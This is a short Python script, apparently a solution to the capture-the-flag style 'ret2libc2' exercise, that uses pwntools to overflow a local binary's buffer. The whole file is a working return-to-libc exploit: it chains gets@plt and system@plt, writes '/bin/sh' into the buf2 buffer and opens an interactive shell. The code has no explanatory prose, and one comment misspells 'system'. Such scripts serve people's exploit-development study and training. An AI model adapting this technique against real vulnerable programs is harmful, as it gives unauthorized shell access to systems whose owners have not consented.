#!/usr/bin/env python
# coding=utf-8
from pwn import *

io = process('./ret2libc2')
elf = ELF('./ret2libc2')
gets_plt = elf.plt['gets']
system_plt = elf.plt['system']
buf2 = elf.symbols['buf2']
offset = 0x8c - 0x1c

# payload:
# overflow | gets@plt | ststem@plt | &(.bss)buf2 | &(.bss)buf2
payload = offset * b'a' \
        + p32(gets_plt) \
        + p32(system_plt) \
        + p32(buf2) \
        + p32(buf2)

io.sendline(payload)
io.sendline(b'/bin/sh\x00')

io.interactive()
